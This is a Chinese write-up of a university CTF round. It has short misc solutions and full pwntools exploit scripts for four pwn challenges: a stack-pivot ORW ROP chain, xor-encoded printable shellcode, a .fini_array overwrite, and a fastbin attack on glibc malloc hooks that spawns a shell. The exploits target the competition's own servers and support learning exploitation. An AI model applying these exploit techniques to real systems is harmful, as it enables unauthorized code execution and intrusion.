# NEUQCSA 2024 monthly_game_1 WP
# Preview
Misc : 签到 学习资料(1) 学习资料(2) 剪切板的秘密
Pwn : baby_stack baby_shellcode never_finish ez_heap
# Misc
# 签到
新年快乐~flag
# 学习资料(1)
我登录学习资料网盘的密码是什么来着...
flag 以 level1 开头
出题人:monian
流量包直接找 flag
# 学习资料(2)
不小心把 flag2 传上去了喵
附件见学习资料(1),flag 以 level2 开头
出题人:monian
流量包上传了一个没有密码的存储 flag 的 zip,直接打开就是 flag 的 hex,转为 char 就是 flag 了
# 剪切板的秘密
内存取证入门
压缩包密码:1195c9eb-2766-401c-85c4-5833a4dee9aa
出题人:monian
WinHex 打开搜索 flag 有点多,搜 “flag {” 就 OK 了
# Pwn
# baby_stack
简单的栈迁移,简单的沙箱
出题人:barin_z
难度:简单
栈迁移 + ORW, 手搓 ROP 用 open64 read write 或者 mprotect 开个 rwxp 写 shellcode
(我知道 exp 看着很乱,我都不想读第二遍,但是都赖该死的 gdb 骗人,gdb 断在不同的位置运行结果完全不一样。而且 gdb 甚至把我的输入都在前面添加了一个 \x0a,非常烦人。而且控制输入也很玄学,一会 read 函数能够读入,一会这个输入直接给我跳过了。整个调试的过程完全就像是在半夜 12 点的山洞摸索道路。)
同样的 EXP,同样的程序,无论使用 gdb 还是不使用 gdb 一定有一个打不通,哭死。
(或许写个 shellcode 会好些)
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn | |
from pwn import* | |
context.log_level='debug' | |
context(arch='amd64',os='linux') | |
context.terminal=['tmux','splitw','-h'] | |
pwn = './stack' | |
# p=remote('8.130.110.158',2102) | |
p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'}) | |
# p=process('./stack') | |
#elf=ELF(pwn) | |
#libc=ELF('./libc.so.6') | |
pop_rdi=0x401373 | |
pop_rsi2=0x401371 | |
write_addr=0x4010b0 | |
read_addr=0x4010d0 | |
csu_write=0x4040c0 | |
csu1=0x40136a | |
csu2=0x401350 | |
filename=0x4040c0 | |
payload=p64(0x4010b0)+p64(0x4040c0+0x100)+p64(csu1)+p64(0)+p64(1)+p64(1)+p64(0x403fe0)+p64(0x30)+p64(csu_write)+p64(csu2) +p64(0)+p64(0)+p64(0x4040c0+0x300)+p64(0)*4+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(0x401279) | |
p.sendlineafter("where is fake stack?csu may help you",payload) | |
p.sendlineafter("true stack is here\n",b'a'*8+p64(0x4040c0+8)+p64(0x4012ed)) | |
p.recv() | |
base=u64(p.recv(6)+b'\x00\x00')-0x10e1e0 | |
print(base) | |
pop_rdx2=base+0x119431 | |
open64=base+0x10df00 | |
mprotect=base+0x118bc0 | |
payload1=b'./flag\x00\x00'+p64(0x4040c0-8)+p64(0x401279)+b'./flag\x00\x00'+p64(0x4040c0-8)+p64(pop_rdi)+p64(filename)+p64(pop_rsi2)+p64(0)+p64(0)+p64(pop_rdx2)+p64(0x0)+p64(0x0)+p64(open64)+p64(pop_rdi)+p64(3)+p64(pop_rsi2)+p64(0x4040c0)+p64(0)+p64(pop_rdx2)+p64(0x40)+p64(0x40)+p64(read_addr)+p64(pop_rdx2)+p64(0x40)+p64(0x40)+p64(pop_rdi)+p64(1)+p64(pop_rsi2)+p64(0x4040c0)+p64(0)+p64(write_addr)+p64(0x401279)+p64(0x401279) | |
payload1=payload1.ljust(0x130,b'\x00')+p64(0x4012a3)+p64(0x4012ed)*6+p64(0x4040c0+8)+p64(0x4012ed) | |
gdb.attach(p) | |
p.sendlineafter("where is fake stack?csu may help you",payload1) | |
p.sendline(payload1.ljust(0x300-0x10-1,b'\x00')+p64(0x4040c0+8)+p64(0x4012ed)) | |
p.sendlineafter("true stack is here",b'a'*(8)+p64(0x4040c0+8)+p64(0x4012ed)) | |
p.interactive() | |
# 0x00000000004011bb : add byte ptr [rcx], al ; pop rbp ; ret | |
# 0x00000000004011b6 : mov byte ptr [rip + 0x2eeb], 1 ; pop rbp ; ret | |
# 0x000000000040130b : nop ; pop rbp ; ret | |
# 0x000000000040136c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret | |
# 0x000000000040136e : pop r13 ; pop r14 ; pop r15 ; ret | |
# 0x0000000000401370 : pop r14 ; pop r15 ; ret | |
# 0x0000000000401372 : pop r15 ; ret | |
# 0x000000000040136b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret | |
# 0x000000000040136f : pop rbp ; pop r14 ; pop r15 ; ret | |
# 0x00000000004011bd : pop rbp ; ret | |
# 0x0000000000401373 : pop rdi ; ret | |
# 0x0000000000401371 : pop rsi ; pop r15 ; ret | |
# 0x000000000040136d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret | |
# 0x0000000000119431 : pop rdx ; pop r12 ; ret | |
# 0x000000000015fae6 : pop rdx ; pop rbx ; ret |
# baby_shellcode
简单的沙箱,简单的 shellcode
出题人:brain_z
难度:中等
ORW,写 shellcode,直接 XorHack,字符过滤,极限 rdx 控制其他寄存器。写入 shellcode 的地址不算太大,直接当作读入的 rdx 不会寄。
写 shellcode 调用 read 的 syscall 读入 shellcode,然后读取并输出
还有该死的人工智障,常量的数值都能回答错,还得让我翻以前的 exp。但是我虚拟机全部重装了,哭死。(就是 open64 系统调用的数值)
之前有一次想用 open64 系统调用的题目,但是当时感觉参数很玄学就使用的 open64 () 来打的。但是这次就没办法了。
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn | |
from pwn import* | |
from Crypto.Util.number import long_to_bytes,bytes_to_long | |
from Xhellcode import Xhellgen | |
from XorHack import XorHack,process_hack | |
context.log_level='debug' | |
context(arch='amd64',os='linux') | |
context.terminal=['tmux','splitw','-h'] | |
pwn = './shellcode' | |
p=remote('8.130.110.158',2101) | |
# p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'}) | |
# p=process('./shellcode') | |
# gdb.attach(p) | |
#elf=ELF(pwn) | |
#libc=ELF('./libc.so.6') | |
rang=[[0x20,0x7e]] | |
# Xhellgen(rang,True,3) | |
# process_hack(b'\x0f\x05',rang,2,0) | |
shellcode0=''' | |
syscall | |
''' | |
# XorHack(shellcode0,rang,b'\x55',1) | |
shellcode=''' | |
push rdx | |
pop rsi | |
push rdx | |
pop rax | |
xor eax,0x20202020 | |
xor eax,0x20247160 | |
push rax | |
pop r10 | |
push rax | |
pop rdi | |
xor eax,0x20202120 | |
xor eax,0x20202050 | |
push rax | |
pop rbx | |
push rax | |
pop rdx | |
xor eax,0x20202120 | |
xor eax,0x20202050 | |
xor eax,0x20205f5c | |
xor dword ptr [rsi + 0x3f], eax | |
xor eax,0x20205f5c | |
pop rdx | |
push rbx | |
pop rdx | |
push rbx | |
pop rdx | |
push rbx | |
pop rdx | |
push rbx | |
pop rdx | |
push rbx | |
pop rdx | |
push rbx | |
pop rdx | |
push rbx | |
pop rdx | |
push rbx | |
pop rdx | |
push rbx | |
pop rdx | |
push rbx | |
pop rdx | |
push rbx | |
pop rdx | |
push rbx | |
pop rdx | |
push rbx | |
pop rdx | |
push rbx | |
''' | |
payload=asm(shellcode) | |
pause() | |
p.sendline(payload) | |
# openat 257 | |
shellcode1=''' | |
mov rdi,AT_FDCWD | |
mov rsi,0x45140 | |
mov rdx,0 | |
mov rax,257 | |
syscall | |
mov rdi,3 | |
mov rsi,0x45148 | |
mov rdx,0x30 | |
mov rax,0 | |
syscall | |
mov rdi,1 | |
mov rsi,0x45148 | |
mov rdx,0x30 | |
mov rax,1 | |
syscall | |
''' | |
payload1=b'./flag'+b'\x00'*(0x41-6)+asm(shellcode1) | |
pause() | |
p.sendline(payload1) | |
p.interactive() | |
# 322 syscall execveat("/bin/sh",0,0,0) 0x142 | |
# RAX 0xa | |
# RBX 0x0 | |
# RCX 0x7ffff7d147e2 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */ | |
# RDX 0x45140 ◂— 'aaaaaaaaaaaaaaaa' | |
# RDI 0x0 | |
# RSI 0x7fffffffdae0 ◂— 'aaaaaaaaaaaaaaaa\n' | |
# R8 0x18 | |
# R9 0x0 | |
# R10 0x22 | |
# R11 0x246 | |
# R12 0x7fffffffde08 —▸ 0x7fffffffe1c1 ◂— '/home/akyoi/PWN/NEUQCSA01/shellcode' | |
# R13 0x401305 (main) ◂— endbr64 | |
# R14 0x0 | |
# R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0 | |
# RBP 0x7fffffffdcf0 ◂— 0x1 | |
# RSP 0x7fffffffdac8 —▸ 0x4013f1 (main+236) ◂— mov eax, 0 | |
# RIP 0x45140 ◂— 'aaaaaaaaaaaaaaaa' | |
# pop rax | |
# pop rbp | |
# pop rbx | |
# pop rcx | |
# pop rdi | |
# pop rdx | |
# pop rsi | |
# pop rsp | |
# push -1 | |
# push rax | |
# push rbp | |
# push rbx | |
# push rcx | |
# push rdi | |
# push rdx | |
# push rsi | |
# push rsp | |
# pop r10 | |
# pop r11 | |
# pop r12 | |
# pop r13 | |
# pop r14 | |
# pop r15 | |
# pop rax | |
# pop rbp | |
# pop rbx | |
# pop rcx | |
# pop rdi | |
# pop rdx | |
# pop rsi | |
# pop rsp | |
# push -1 | |
# push ax | |
# push bp | |
# push bx | |
# push cx | |
# push di | |
# push dx | |
# push r8 | |
# push r9 | |
# push si | |
# push sp | |
# push r10 | |
# push r11 | |
# push r12 | |
# push r13 | |
# push r14 | |
# push r15 | |
# push rax | |
# push rbp | |
# push rbx | |
# push rcx | |
# push rdi | |
# push rdx | |
# push rsi | |
# push rsp | |
# xor eax, 0xffffffff | |
# and eax, 0x11111111 | |
# xor dword ptr [rax - 1], eax | |
# xor dword ptr [rbp - 1], eax | |
# xor dword ptr [rbx - 1], eax | |
# xor dword ptr [rcx - 1], eax | |
# xor dword ptr [rdi - 1], eax | |
# xor dword ptr [rdx - 1], eax | |
# xor dword ptr [rsi - 1], eax | |
# xor dword ptr [rax], ebp | |
# xor dword ptr [rax], edi | |
# xor dword ptr [rax], esi | |
# xor dword ptr [rax], esp | |
# xor dword ptr [rbx], ebp | |
# xor dword ptr [rbx], edi | |
# xor dword ptr [rbx], esi | |
# xor dword ptr [rbx], esp | |
# xor dword ptr [rcx], ebp | |
# xor dword ptr [rcx], edi | |
# xor dword ptr [rcx], esi | |
# xor dword ptr [rcx], esp | |
# xor dword ptr [rdi], ebp | |
# xor dword ptr [rdi], edi | |
# xor dword ptr [rdi], esi | |
# xor dword ptr [rdi], esp | |
# xor dword ptr [rdx], ebp | |
# xor dword ptr [rdx], edi | |
# xor dword ptr [rdx], esi | |
# xor dword ptr [rdx], esp | |
# xor dword ptr [rsi], ebp | |
# xor dword ptr [rsi], edi | |
# xor dword ptr [rsi], esi | |
# xor dword ptr [rsi], esp | |
# xor ebp, dword ptr [rax] | |
# xor ebp, dword ptr [rbx] | |
# xor ebp, dword ptr [rcx] | |
# xor ebp, dword ptr [rdi] | |
# xor ebp, dword ptr [rdx] | |
# xor ebp, dword ptr [rsi] | |
# xor edi, dword ptr [rax] | |
# xor edi, dword ptr [rbx] | |
# xor edi, dword ptr [rcx] | |
# xor edi, dword ptr [rdi] | |
# xor edi, dword ptr [rdx] | |
# xor edi, dword ptr [rsi] | |
# xor esi, dword ptr [rax] | |
# xor esi, dword ptr [rbx] | |
# xor esi, dword ptr [rcx] | |
# xor esi, dword ptr [rdi] | |
# xor esi, dword ptr [rdx] | |
# xor esi, dword ptr [rsi] | |
# xor esp, dword ptr [rax] | |
# xor esp, dword ptr [rbx] | |
# xor esp, dword ptr [rcx] | |
# xor esp, dword ptr [rdi] | |
# xor esp, dword ptr [rdx] | |
# xor esp, dword ptr [rsi] |
# never_finish
凡是过往,皆为序章。
出题人:Jmp.Cliff
难度:中等
Hint
main 真的是程序的入口点吗,return0 真的是程序的结束点吗?
(最开始我以为它是签到题,直到我打不通 heap 的时候想签个到,才发现这个 “签到题” 好离谱)
给了一个可以向任意已知地址写入四个字节的机会。给了 backdoor 直接执行 system ("/bin/sh")
写 libc 的东西不切实际,直接考虑 ELF 的内容,ELF 又只有一部分地方可写,直接看那些可写的地方,搞动态链接延迟绑定不太可能,感觉.init_array 和.fini_array 有点可疑。上网查了,发现前者是程序执行最初执行初始化的函数,后者就是程序结束收尾的函数。于是直接把后者改为 backdoor 就 OK 了。
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn | |
from pwn import* | |
context.log_level='debug' | |
context(arch='amd64',os='linux') | |
context.terminal=['tmux','splitw','-h'] | |
pwn = './1' | |
p=remote('82.157.250.243',2001) | |
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'}) | |
# p=process('./1') | |
# gdb.attach(p) | |
#elf=ELF(pwn) | |
#libc=ELF('./libc.so.6') | |
p.send(p64(0x4031f8)) | |
p.send(p32(0x401201)) | |
p.interactive() |
# ez_heap
真的是很简单很简单的堆~题目简直漏洞百出
如果有人因为找不到合适的 onegadget 导致这题做不出来,我一定会笑话他一整年。
出题人:Jmp.Cliff
难度:中等
Hint
realloc 或许可以助 onegadget 一臂之力
unsorted_bin 泄露 libc 基址,可以得到 hook 的地址,fastbin-attack 在 hook 那里创建 fake chunk,于是__malloc_hook __realloc_hook 就可以被我们写了。
考虑过打__free_hook,发现那里创建 chunk 过不了 fastbin 的检查。
将 malloc hook 改为 one gadget 之后发现不满足 rsp 的条件,于是使用 realloc 函数前面一堆 push 来调整 rsp,使之满足条件
总之就是把 malloc hook 写在 realloc 函数合适的位置,把 realloc hook 改为 one gadget,于是调用 malloc 就会调用 malloc hook,即调用我们写入的 realloc 的合适位置,之后他会调用 realloc hook,也就是 one gadget。
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn | |
from pwn import* | |
context.log_level='debug' | |
context(arch='amd64',os='linux') | |
context.terminal=['tmux','splitw','-h'] | |
pwn = './ez_heap' | |
p=remote('82.157.250.243',2002) | |
# p=process(['./ld-2.23.so', pwn], env={"LD_PRELOAD":'./libc-2.23.so'}) | |
# p=process('./ez_heap') | |
# gdb.attach(p) | |
#elf=ELF(pwn) | |
#libc=ELF('./libc.so.6') | |
def add(idx,size): | |
p.sendlineafter("choice:","1") | |
p.sendlineafter("index:",str(idx)) | |
p.sendlineafter("size:",str(size)) | |
def dele(idx): | |
p.sendlineafter("choice:","2") | |
p.sendlineafter("index:",str(idx)) | |
def show(idx): | |
p.sendlineafter("choice:","3") | |
p.sendlineafter("index:",str(idx)) | |
def edit(idx,con): | |
p.sendlineafter("choice:","4") | |
p.sendlineafter("index:",str(idx)) | |
p.sendlineafter("input content:",con) | |
add(0,0x80) | |
add(1,0x60) | |
dele(0) | |
add(0,0x80) | |
show(0) | |
p.recv() | |
addr=u64(p.recv(6)+b'\x00\x00') | |
print(hex(addr)) | |
base=addr-(0x7f9a477c4b78-0x7f9a47400000) | |
system=base+0x453a0 | |
add(2,0x60) | |
add(3,0x10) | |
# gdb.attach(p) | |
dele(1) | |
dele(2) | |
dele(1) | |
add(1,0x60) | |
add(3,0x60) | |
add(2,0x60) | |
# 0x3d80 ez_heap | |
dele(1) | |
# gdb.attach(p)gdb.attach(p) | |
edit(2,p64(base+0x3c4b10-0x20-3)) # free 0x3c67a8 0x3c67a8-0x10-3 0x3c4b10-0x20-3 | |
add(4,0x60) | |
add(5,0x60) | |
# gdb.attach(p) | |
edit(4,b'/bin/sh') | |
edit(5,b'\x00'*(0x13-8)+p64(base+0x4527a)+p64(base+0x8471B))#0 got | |
edit(0,p64(system)) | |
# show(4) | |
dele(4) | |
# gdb.attach(p) | |
add(8,0x6c) | |
# 0x4527a execve("/bin/sh", rsp+0x30, environ) | |
# constraints: | |
# [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv | |
# 0xf03a4 execve("/bin/sh", rsp+0x50, environ) | |
# constraints: | |
# [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv | |
# 0xf1247 execve("/bin/sh", rsp+0x70, environ) | |
# constraints: | |
# [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv | |
p.interactive() |
# ???
不要熬夜打 CTF
不要熬夜打 CTF
不要熬夜打 CTF
不然你第二天学习科目二倒车入库回方向直接少回一圈,直接压线,寄。